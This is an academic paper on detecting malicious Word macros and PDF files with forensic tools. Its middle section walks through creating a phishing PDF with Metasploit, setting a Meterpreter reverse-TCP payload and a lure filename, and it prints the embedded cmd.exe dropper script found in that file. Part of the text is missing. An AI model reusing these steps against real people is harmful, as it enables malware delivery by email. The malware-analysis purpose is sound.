



Dissecting Malicious Word, PDF Documents

¹K.Tanuja, ²CH.Praneeth, ³Dr D.Haritha

^{1,2,3} Dept of C.S.E, S.R.K. Institute Of Technology, Enikepadu, Krishna dist, AP, India

Abstract : Internet and computers are now a part of our daily routine life. With the development of network and information technology, E-mail has become increasingly popular and the society's indispensable need. However, virus spreading via the E-mail is also increasing at an enormous rate. The E-mail attachment such as PDF Document, Microsoft Word Document, EXE program can spread viruses from one computer to another computer. This paper describes and analyses the various forms of the E-mail viruses via the Microsoft Word Documents and the PDF Documents. We describe the methodology to detect such E-mail viruses using tools such as OfficeMalscanner for Word Documents and PDF stream Dumper for PDF Documents.

1. Introduction

With the extensive use of computers, more and more people use E-mail for communication and hence paving the way for the spreading of virus through e-mail. There are various types of malware such as Worms, Trojans and malicious code. These viruses have a strong impact on the system, like, destroying data on the disk, make the computer or network running slowly, destroying the video display screen[1]. An E-mail virus is a destructive computer program and is embedded in the text by malicious code or attachments and then exploiting people's curiosity to open e-mail. An example of the E-mail virus is "I love you". This virus makes people to open the attachment with "I love you" as the subject, and then the receiver computer will be infected by the malicious code. Once the computer has been infected, this virus will forward the E-mail with the virus to the receiver's address list. Another example is the "Melissa" virus in 1999. The virus sent the virus document as an e-mail message to top 50 people in the receiver's address book. This virus contains the friendly message and the sender's name. It also infects all the Word documents that are opened subsequently on the receiver's machine [3].

A variety of viruses can be spread through the E-mail attachment. It contains a piece of code in an attachment document, for example, PDF documents, Microsoft Word documents and .EXE programs. This paper begins with a description and extends to the analysis of viruses in the attachments of the E-mail[2]. Section 2 describes structure of

the Microsoft Word Document and its vulnerabilities. Section 3 describes PDF Document structure. Section 4 describes methodology to detect viruses affected Microsoft Word and PDF Documents. This Section also explores various tools available for detection of such infected files.

2. Microsoft Word Document

Microsoft Word is a word processor developed by Microsoft and can be used to type letters, reports, and other documents. It facilitates desktop publishing. The vulnerability in word document file is the presence of Macros. Generally, Macros are used for creating shortcuts to tasks performing repeatedly. Attackers make use of this feature and infect the Macros present in a document. When a word processing or spreadsheet document containing infected virus is opened, the Macro virus gets activated and infects the Normal template (Normal.dot)-a general purpose file that stores default document formatting settings. Every document opened with Word Processor refers to the Normal template, and hence gets infected with the Macro virus. Since this virus attaches itself to documents, the infection can spread if such documents are opened on other computers. These documents spread through mails by attackers [4].

In the past five years, Macro malware could be considered practically extinct. A resurgence of malicious VBA Macros has been observed – this time, not only self-replicating viruses, but simple downloader Trojan codes [3].

Macro viruses can use the VBA *SHELL* command or utilize the operating system's kernel API to run any external command they want. The VBA *KILL* command can be used to delete files. Macro viruses modify registries, use E-mail to forward copies of itself to others, look for passwords, copy documents, and infect other programs. Macro viruses can do a lot of different damage in a lot of different ways [3].

2.1 Vulnerability in the MS-WORD in the form of Macro code:

The macro code, designed for automatic execution on opening of a Word Document, has the following structure (the order in which the individual functions appear and the name of the main function varies in the different variants):

```
Sub Auto_Open()  
    main_code()
```

```
End Sub
Sub main_code()
...End Sub
Sub Workbook_Open()
  Auto_Open
End Sub
```

The main code is either in or called from the Auto_Open() function which is invoked when a Word document is opened or Word is started. If the code in the subroutine main_code() is corrupted with virus code, automatically corrupts all the files that are opened with the Word Processor. Similarly Workbook_Open (which is invoked when an Excel workbook is opened) and other automacros Auto_Close (Runs each time you close document), Auto_Exec (Runs whenever you start word) corrupts the files if their code is replaced with the corrupted code [3].

Because a macro virus works using the application rather than an operating system, it can also infect non-Windows computers as well. Macro viruses are also known as script viruses and can also be embedded within web pages.

2.2 Tool to extract Macro code-OfficeMalScanner:

OfficeMalScanner is a MS Office forensic tool to scan for malicious traces, like shellcode heuristics, PE-files or embedded OLE streams. This tool developed by Frank Boldewin which is used for extracting VB macro code from malicious office documents(word,excel).

Usage: OfficeMalScanner <PPT, DOC or XLS file> <scan | info> <brute> <debug>

Options:

scan - scans for shellcode heuristics and encrypted PE-Files.

info - dumps OLE structures, offsets+length and saves found VB-Macro code.

inflate - decompresses Ms Office 2007 documents, e.g. docx, into a temp dir.

Switches: (only enabled if option "scan" was selected)

brute - enables the "brute force mode" to find encrypted stuff.

debug - prints out disassembly resp hexoutput if a heuristic was found.

3.Portable Document Format

Portable Document Format (PDF) is a file format that is used to represent the documents in a manner independent of hardware, operating system and a running application, with which it is possible to create, view, print and exchange documents reliably and environment independently. As a kind of E-mail viruses, PDF malware is more and more popular in the Internet. PDF files bearing malicious content have been harming computer systems, and in 2010 they have been considered one of the most

dangerous threats. It is possible to embedded different types of files to attack computer, such as JavaScript code, ActionScript code or EXE files [13].

3.1 PDF File Structure

To discover new vulnerabilities we need to understand the PDF file format in detail. PDF has a lot more functions than just text; it can include images, bookmark objects and other multimedia elements. It can be password protected and can execute JavaScript, etc. The basic structure of a PDF file is presented in the figure shown below:




Figure 3(a):Structure of PDF file

Figure 3(a) Table shows structure of pdf file contents are explained below

- **Header** is the first line of a PDF file and specifies the version number of the used PDF specification which the document uses.
- **Body contains** text streams, images, and other multimedia elements like fonts, bookmarks and forms, etc. The Body section is used to hold the entire document's data being shown to the user.
- **Cross Reference Table** contains the references to all the objects in the document and it allows random access to objects in the file. Each object is represented by one entry in the cross reference table and is 20 bytes long.
- **Trailer** contains the location of the cross reference table in the file. Figure 3(b) describes example code of PDF contents.

3.2 Example Malware embedded in PDF

A launch action launches an application or opens or prints a document. One of the many Adobe Acrobat exploits in the Metasploit framework to embed an exe file in PDF as shown below.




Figure 3(b): Example of PDF code

```

1 0 obj
<<
  /Type /Action
  /S /Launch
  /Win
  <<
    /F(cmd.exe)
  >>
>>
endobj
    
```

Figure 3(c): Launch function which opens command prompt

Command Prompt will be automatically opened by using the above launch action. Attackers can embed the malware in our PDF by using JavaScript because JavaScript commonly uses heap spray to exploit.

3.3 Vulnerability in Portable Document Format

Adobe Acrobat is a family of application software developed by Adobe Systems in order to manage files in Portable Document Format. Adobe has released Security Bulletin which describes multiple vulnerabilities affecting Adobe Reader and Acrobat 9.2x and earlier. An attacker could exploit these vulnerabilities by convincing a user to open a specially crafted PDF file. The Adobe Reader browser plug-in that can automatically open PDF documents hosted in a website is available for multiple web browsers and operating systems. These vulnerabilities allow a remote attacker to execute malicious code, write unwanted files or folders to the file system, and can cause a denial of service or local privileges can be escalated on the

affected system as the result of a user opening a malicious PDF document. They were 50 vulnerabilities discovered between 2008-2009 in Adobe Reader [12].

3.4 Metasploit

The Metasploit Project is an open source project that provides a public resource for researching security vulnerabilities and developing code that allows a network administrator to break into his own network to identify security risks and document which vulnerabilities need to be addressed first. Metasploit offers penetration testing software and provides tools for automating the comparison of a program's vulnerability and its repaired (patched) version [13].

There are a couple of interfaces that can be used. The first option is the *MSFconsole* which is the hackers preferred method or most puritanical way of using Metasploit. The other more approach using Metasploit is to use Armitage.

3.4 PDF Analyzers:

There are various several tools available for analyzing malicious pdf files. Didier Stevens familiarize with pdfid, pdf-parser tools. Here in this paper we analyze with PDF Stream Dumper, PeePDF tools. PDF Stream Dumper is a tool written by David Zimmer and Peepdf by Jose Miguel Esparza that combines many open source tools that are useful to analyze malicious PDF documents. Obfuscated JavaScript, low level PDF headers and objects, and shell code can be dealt with this tools.

4. PROPOSED SOLUTION

In this section we describe the methodology for detection of virus affected word and pdf files.

4.1 Detection of Macro Virus in word using OfficeMalScanner

We propose methodology to extract macro code from Malicious Word Document.

OfficeMalscanner tool is used to extract macro code from a malicious word document.

- 1.Extract the file information of docx file using info command. It dumps OLE structures, offsets and length and saves found VB-Macro code.
- 2.Unpack the docx file using 7zip tool.
- 3.Use Inflate command to Decompress file.docx to locate VB code (XML files).
- 4.Analyze the behaviour of VB Macro codes found using Noriben tool.

4.2 Extracting VB Macro code from Microsoft office file

We detect word document "Doc4.docx" file whether it contains any macros.

Step 1: To get information of a file using info option

```
C:\tools\OfficeMalScanner>OfficeMalScanner Doc4.docx info

-----
| OfficeMalScanner v0.61 |
| Prank Boldevin / www.reconstructor.org |
-----

[*] INFO mode selected
[*] Opening file Doc4.docx
[*] Filesize is 10053 (0x2a65) Bytes

Sorry, this file is not a Ms Office OLE2 Compound File (PPT/DOC/XLS)
but an Ms Office Open XML Format document (MSOffice 2007 and higher) was detected.
Try using the "inflate" mode to scan for .bin files

C:\tools\OfficeMalScanner>
```

Figure 4(a):Opening file Doc4.docx
In Figure 4(a) we get information of file Doc4.docx by using "info" option which describes file size and type of file.

XML-formatted versions of Microsoft Office files, which typically have extensions such as .docx, .xlsx, and .pptx, are actually zip-compressed archives that contain several files. You can unpack the archive using tool 7zip.

Step2: Unpacking word Document (As word 2007 is XML formatted structure, it is placed in zip archive)using7zip tool

Inside the ZIP file are predefined structures of files, mostly XML files that describe the document and it's content. So it can be easily read using standard available libraries in scripting languages such as Perl.

According to Microsoft a folder is created inside the ZIP archive called "_rels". This folder contains a file named ".rels" which defines the root relationships within the package. This should be the first place to be able to parse the content of the document. Within the .rels file you find tags that define the relationship of the document:

```
<Relationship Id="someID"
Type="relationshipType" Target="targetPart"/>
```

Metadata is stored in files that contain a type of "*properties", most notable the "core-properties" and "extended-properties". These files are usually stored in the following location:

- docProps/core.xml
- docProps/app.xml

These files then contain the actual metadata information, such as document creator, last saved by information, etc. To be able to display the metadata information it is necessary to extract and parse these documents.

```
C:\tools\OfficeMalScanner>7z e Doc4.docx
7-Zip 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03

Processing archive: Doc4.docx

Extracting [Content_Types].xml
Extracting _rels\.rels
Extracting word\_rels\document.xml.rels
Extracting word\document.xml
Extracting word\vbaProject.bin
Extracting word\theme\theme1.xml
Extracting word\_rels\vbaProject.bin.rels
Extracting word\vbaData.xml
Extracting word\_rels\settings.xml.rels
Extracting word\settings.xml
Extracting word\styles.xml
Extracting docProps\app.xml
Extracting docProps\core.xml
Extracting word\fontTable.xml
Extracting word\webSettings.xml

Everything is Ok

Files: 15
Size: 41952
Compressed: 14782
```

Figure 4(b):XML formatted structure of word 2007.

Step 3: Viewing archive file in inflate mode.

When the archive file is viewed in Inflate mode, word/vbaProject.bin is located as shown in the Figure 4(c). Generally VBA macros are stored in binary OLE file within Zip archive, called vbaProject.bin

```
Administrator: C:\Windows\system32\cmd.exe

[*] Opening file Doc4.docx
[*] Filesize is 14782 (0x39be) Bytes
[*] Microsoft Office Open XML Format document detected.

Found 15 files in this archive

[Content_Types].xml ----- 1453 Bytes ----- at Offset 0x00000000
\_rels\.rels ----- 598 Bytes ----- at Offset 0x000003cf
word\_rels\document.xml.rels ----- 737 Bytes ----- at Offset 0x000006f3
word\document.xml ----- 1243 Bytes ----- at Offset 0x00000756
word\vbaProject.bin ----- 7680 Bytes ----- at Offset 0x00000b77
word\theme\theme1.xml ----- 6992 Bytes ----- at Offset 0x000016f7
word\_rels\vbaProject.bin.rels ----- 277 Bytes ----- at Offset 0x00001d0a
word\vbaData.xml ----- 821 Bytes ----- at Offset 0x00001e3e
word\_rels\settings.xml.rels ----- 350 Bytes ----- at Offset 0x00002067
word\settings.xml ----- 4139 Bytes ----- at Offset 0x00002195
word\styles.xml ----- 14840 Bytes ----- at Offset 0x000026ca
docProps\app.xml ----- 702 Bytes ----- at Offset 0x00002a8e
docProps\core.xml ----- 615 Bytes ----- at Offset 0x00002b2f
word\fontTable.xml ----- 1833 Bytes ----- at Offset 0x0000312e
word\webSettings.xml ----- 260 Bytes ----- at Offset 0x000034e5

-----
Content was decompressed to C:\Users\Sunhara\AppData\Local\Temp\DecompressedMsOfficeDocument.
Found at least 1 ".bin" file in the MSOffice document container.
Try to scan it manually with IQAN+BRUTE and INFO mode.
-----

C:\tools\OfficeMalScanner>OfficeMalScanner %Temp%\DecompressedMsOfficeDocument\word\vbaProject.bin info

-----
| OfficeMalScanner v0.61 |
| Prank Boldevin / www.reconstructor.org |
-----

[*] INFO mode selected
[*] Opening file C:\Users\Sunhara\AppData\Local\Temp\DecompressedMsOfficeDocument\word\vbaProject.bin
[*] Filesize is 7680 (0x1e00) Bytes
[*] Ms Office OLE2 Compound Format document detected

[Scanning for VB-code in VBPROJECT.BIN]

This Document

-----
VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
The decompressed Macro code was stored here!
-----> C:\tools\OfficeMalScanner\VBAPROJECT.BIN-Macros

C:\tools\OfficeMalScanner>
```

Figure 4(c):VB-Macro code found inside file.

As in the Figure 4(c) word/vbaProject.bin is located. Generally VBA macros are stored in binary OLE file within Zip archive, called vbaProject.bin

When we open "this.Document" specified at address in Figure 4(c) (C:\tools\OfficeMalScanner\VBAPROJECT.BIN-Macros) contains Macro code.

analyze this malicious file using tools such as PDFStreamDumper, Peepdf tools

B) Next we analyze the file structure of malicious PDF and explore its contents using Peepdf tool.

C) We identify the exploit using PDFStreamDumper tool which includes a number of signatures of known PDF exploits.

1) Load malicious PDF file in PDFStreamDumper.

2) Next to scan the file select "Exploit Scan" Which consists of known signatures of PDF exploits. If our generated malicious PDF file is among the signatures it identifies exploit and specifies where it is present.

We analyze the above steps in detail below.

A) Creating Malicious PDF file using metasploit.

Step 1: We search for appropriate PDF exploit by Metasploit for one that will use the version of Adobe Reader by using "search pdf_embedded" option.

```

Metasploit Pro Console - Metasploit Framework
+ -- ==[ 322 payloads - 30 encoders - 8 nops

[*] Successfully loaded plugin: pro
msf > search pdf_embedded

Matching Modules
=====
Name                               Disclosure Date
Rank   Description
----   -
-----
exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Embedded EXE Social Engineering
exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Embedded EXE Social Engineering
exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Embedded EXE Social Engineering
exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Escape EXE Social Engineering (No JavaScript)
exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Escape EXE Social Engineering (No JavaScript)
exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 00:00:00 UTC
TC excellent Adobe PDF Escape EXE Social Engineering (No JavaScript)
    
```

Figure 4(g) Adobe PDF exploits.

We can observe in the Figure 4(g) Metasploit listed all exploits that meets our criteria. We exploit "exploit/windows/fileformat/adobe_pdf_embedded_exe".

Step 2: Creating a malicious file in local host.

First we need to set our payload to embed in pdf file using "set payload/windows/meterpreter/reverse_tcp". After setting payload Metasploit requires us to provide an existing pdf file where it can embed a payload. Then using LHOST option set to our IP Address.

```

Metasploit Pro Console - Metasploit Framework
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
<<. payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe_nojs) > set FILENAME notice.pdf
FILENAME => notice.pdf
msf exploit(adobe_pdf_embedded_exe_nojs) > set LHOST 192.168.0.100
LHOST => 192.168.0.100
msf exploit(adobe_pdf_embedded_exe_nojs) > show options

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs):

Name           Current Setting  Required  Description
----           -
-----
EXENAME        msf.exe          no        The Name of payload exe.
FILENAME       notice.pdf       no        The output filename.
LAUNCH_MESSAGE To view the encrypted content please click the "Do not show U
is message again" box and press Open. no        The message to display in the
file area
    
```

Figure 4(h): Set LHOST to our IP Address.

We observe in Figure 4(h) we provide an existing pdf file using "set FILENAME "notice.pdf" and we set localhost to our IP Address "set LHOST 192.168.0.100"

If all options are set then we need to do now exploit using "exploit" option.

Step 3: Malicious pdf generated

```

Metasploit Pro Console - Metasploit Framework
Payload options (windows/meterpreter/reverse_tcp):

Name           Current Setting  Required  Description
----           -
-----
EXITFUNC       process          yes       Exit technique: seh, thread, process, no
ne
LHOST          192.168.0.100   yes       The listen address
LPORT          4444             yes       The listen port

Exploit target:

Id  Name
--  ---
0   Adobe Reader <= v9.3.3 (Windows XP SP3 English)

msf exploit(adobe_pdf_embedded_exe_nojs) > exploit

[*] Making PDF
[*] Creating 'notice.pdf' file...
[*] notice.pdf stored at C:/Users/Sunkara/.ms4/local/notice.pdf
msf exploit(adobe_pdf_embedded_exe_nojs) >
    
```

Figure 4(i): Notice.pdf file is generated.

After successful generation of malicious pdf file which is stored on local computer (C:/Users/.ms4/local/notice.pdf), the next step to send malicious code to target email. Not only sending malicious pdf file to victims but also can be embedded to websites and inviting users to download it.

B) Peepdf:

Peepdf, a new tool from Jose Miguel Esparza, is an PDF analysis toolkit for examining and decoding suspicious PDFs. It is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files [16]. We

analyze malicious file "notice.pdf" file with peepdf tool. By using command **peepdf.py -f notice.pdf** we analyze content and structure of "notice.pdf" file.

```

Administrator: C:\Windows\system32\cmd.exe - python.exe peepdf.py -i E:\notice.pdf
E:\peepdf_0.3>set path=%path%;C:\Python27
E:\peepdf_0.3>python.exe peepdf.py -i E:\notice.pdf
Warning: pylibenu is not installed!!

File: notice.pdf
MD5: 2955e3784df3faf3fc13394c90ac898b
SHA1: 99d9a743a1a9fb1af18c2a4817c2b4aa92e413a4
Size: 296326 bytes
Version: 1.5
Binary: False
Linearized: False
Encrypted: False
Updates: 0
Objects: 5
Streams: 0
Comments: 0
Errors: 0

Version 0:
Catalog: 1
Info: No
Objects (5): [1, 2, 3, 4, 5]
Streams (0): []
Suspicious elements:
  /OpenAction: [11]
  /Launch: [5]

PPDF>
    
```

Figure 4(j): Using Peepdf to get file information Here in this Figure 4(j) we observe 5 objects in pdf file. It displays suspicious elements in pdf file such as /openAction and Launch functions. /Launch function can launch an application. The number of possible misuses of this Launch function is quite infinite (running malicious code, steal data..). /openAction whose elements are operating actions whenever a file opened. Here suspicious code present in object 5 as it represents Launch[5].

```

PPDF> tree
/Catalog (1)
  /Pages (3)
    /Page (4)
      /Action /Launch (5)
      /Pages (3)
      /Outlines (2)

PPDF> offsets
0 Header
295220 Object 1 (104)
295323 Object 2 (57)
295326 Object 3 (60)
295382 Object 4 (76)
295444 Object 5 (605)
295447
295522
295525
296129 Xref Section (129)
296132
296260 Trailer (56)
296263
296318 EOF
296319

PPDF> _
    
```

Figure 4(k): tree and offsets commands usage to show logical and physical structure of pdf file.

```

Administrator: C:\Windows\system32\cmd.exe - python.exe peepdf.py -i E:\notice.pdf

PPDF> object 5
<< /Type /Action
/S /Launch
/Win << /F cmd.exe
/P /C echo Set o=CreateObject("Scripting.FileSystemObject");Set f=o.OpenTextFile("notice.pdf",1,True);f.SkipLine;Set u=CreateObject("WScript.Shell");Set g=o.OpenTextFile("%ExpandEnvironmentStrings("%TEMP%")%*\msf.exe",2,True);a=$p lit "(Print)Replace(f.ReadLine,"x","")";for each x in a:g.Write(Chr("0h" "x")));next:g.Close;f.Close > 1.ubs ## cscript //B 1.ubs ## start %TEMP%\msf.exe ## del /F 1.ubs

To view the encrypted content please tick the "Do not show this message again" box and press Open.
>>
>>

PPDF>
    
```

Figure 4(l): Examine contents of object that launches javascript.

Figure 4(l) includes malicious javascript code which launches cmd and exe file(msf.exe).

C) PDF STREAM DUMPER

This tool also used to analyze malicious pdf files. It has signature for exploits to compare against any pdf file you want to examine. We analyze the exploit which we created using metasploit i.e "notice.pdf" file using pdf stream dumper tool. After installing PDF Stream Dumper, load the suspicious PDF file. The tool includes a number of signatures of known PDF exploits. We can load PDF file and select "exploit scan" on the top of application interface then we find suspicious objects within the PDFfile.

```

2080728967 - Notepad
File Edit Format View Help
Exploit Header contains a Launch Action - possible CVE-2010-1240 Data:6.29.10 v9.3.2 - */Action'

Note other exploits may be hidden with javascript obfuscation
It is also possible these functions are being used in a non-exploit way.
    
```

Figure 4(m):After exploit scan

In Figure 4(m) Malicious pdf file shows that it contains exploit of CVE-2010-1240. This exploit is vulnerability in Acobat Reader to extract and run a malicious executable embedded in pdf.

5. Conclusion

In this paper we have created malicious VBA macros and detected malicious word and PDF documents by analyzing them through tools. We have analyzed the behaviour of the macro virus using Noriben tool that acts as an intelligent wrapper for procmon. Similarly we have detected the embedded PDF virus by using PDF Stream Dumper and peepdf tools. We have demonstrated the PDF Stream Dumper specialized tools for dealing with obfuscated javascript, low level pdf headers, objects, and shellcode

References:

- [1] S.R.Subramanya, Natraj Lakshminarasimhan. "Computer Viruses". IEEE Potentials, October/November 2001.
- [2]. Dai Haobing "Malicious PDF Document Analysis" 2013 .
- [3] Gabor Szappanos "VBA is not dead". Virus Bulletin 2014
- [4] David Harley BA CISSP FBCS CITP, Andrew Lee ."Heuristic Analysis-Detecting Unknown virus"
- [5] Darren Chi. "Microsoft Office 2000 and Security against macro virus" Symantec AntiVirus Research Center Symantec Corporation
- [6] T. Hassan. User-guided wrapping of pdf documents using graph matching techniques. In International Conference on Document Analysis and Recognition 2009, Proceedings, 2009.
- [7] T. Hassan and R. Baumgartner. Table recognition and understanding from pdf files. In International Conference on Document Analysis and Recognition 2007, Proceedings, volume 2, pages 1143–1147, 2007
- [8] M. Cova, C. Kruegel, and G. Vigna. Detection and analysis of drive-by-download attacks and malicious javascript code. In Proceedings of the 19th International World Wide Web Conference (WWW), 2010
- [9] T. Holz. Analyzing malicious pdf files, 2009. <http://honeyblog.org/archives/12-Analyzing-Malicious-PDF-Files.html>.
- [10] D. Stevens. PDF tools. <http://blog.didierstevens.com/programs/pdf-tools/>.
- [11] D. Stevens. Malicious PDF documents explained. IEEE Security and Privacy, 9(1):80–82, 2011.
- [12] Adobe Systems Incorporated. PDF Reference.
- [13] Metasploit Framework: <http://metasploit.com>